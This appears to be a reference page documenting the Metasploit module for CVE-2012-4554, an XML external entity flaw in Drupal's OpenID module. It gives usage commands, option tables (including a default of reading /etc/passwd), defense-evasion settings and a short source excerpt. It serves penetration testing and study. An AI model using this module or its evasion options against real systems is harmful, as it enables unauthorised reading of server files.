Drupal OpenID External Entity Injection - Metasploit
This page contains detailed information about how to use the auxiliary/gather/drupal_openid_xxe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Drupal OpenID External Entity Injection
Module: auxiliary/gather/drupal_openid_xxe
Source code: modules/auxiliary/gather/drupal_openid_xxe.rb
Disclosure date: 2012-10-17
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2012-4554
This module abuses an XML External Entity Injection vulnerability on the OpenID module from Drupal. The vulnerability exists in the parsing of a malformed XRDS file coming from a malicious OpenID endpoint. This module has been tested successfully on Drupal 7.15 and 7.2 with the OpenID module enabled.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/drupal_openid_xxe
msf auxiliary(drupal_openid_xxe) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the gather/drupal_openid_xxe auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/drupal_openid_xxe
msf6 auxiliary(gather/drupal_openid_xxe) > show info
Name: Drupal OpenID External Entity Injection
Module: auxiliary/gather/drupal_openid_xxe
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-10-17
Provided by:
Reginaldo Silva
juan vazquez <[email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/passwd yes The filepath to read on the server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /drupal yes Base Drupal directory path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Description:
This module abuses an XML External Entity Injection vulnerability on
the OpenID module from Drupal. The vulnerability exists in the
parsing of a malformed XRDS file coming from a malicious OpenID
endpoint. This module has been tested successfully on Drupal 7.15
and 7.2 with the OpenID module enabled.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-4554
OSVDB (86429)
http://www.securityfocus.com/bid/56103
https://drupal.org/node/1815912
http://drupalcode.org/project/drupal.git/commit/b912710
http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution
Module Options
This is a complete list of options available in the gather/drupal_openid_xxe auxiliary module:
msf6 auxiliary(gather/drupal_openid_xxe) > show options
Module options (auxiliary/gather/drupal_openid_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/passwd yes The filepath to read on the server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /drupal yes Base Drupal directory path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/drupal_openid_xxe auxiliary module:
msf6 auxiliary(gather/drupal_openid_xxe) > show advanced
Module advanced options (auxiliary/gather/drupal_openid_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/drupal_openid_xxe module can do:
msf6 auxiliary(gather/drupal_openid_xxe) > show actions
Auxiliary actions:
Name Description
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Evasion Options
Here is the full list of possible evasion options supported by the gather/drupal_openid_xxe auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/drupal_openid_xxe) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unexpected answer, trying to parse anyway...
Here is a relevant code snippet related to the "Unexpected answer, trying to parse anyway..." error message:
127: service.stop
128: return
129: end
130:
131: unless res.code == 500
132: print_warning("Unexpected answer, trying to parse anyway...")
133: end
134:
135: error_loot = parse_loot(res.body)
136:
137: # Check if file was retrieved on the drupal answer
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #2941 Merged Pull Request: Fixup release
- #2909 Merged Pull Request: Add module for CVE-2012-4554
References
- CVE-2012-4554
- OSVDB (86429)
- BID-56103
- https://drupal.org/node/1815912
- http://drupalcode.org/project/drupal.git/commit/b912710
- http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/drupal_views_user_enum
- exploit/multi/http/drupal_drupageddon
- exploit/unix/webapp/drupal_coder_exec
- exploit/unix/webapp/drupal_drupalgeddon2
- exploit/unix/webapp/drupal_restws_exec
- exploit/unix/webapp/drupal_restws_unserialize
- auxiliary/admin/http/openbravo_xxe
- auxiliary/admin/sap/sap_igs_xmlchart_xxe
- auxiliary/gather/emc_cta_xxe
- auxiliary/gather/mcafee_epo_xxe
- auxiliary/gather/opennms_xxe
- auxiliary/admin/http/nexpose_xxe_file_read
- exploit/linux/http/zimbra_xxe_rce
Authors
- Reginaldo Silva
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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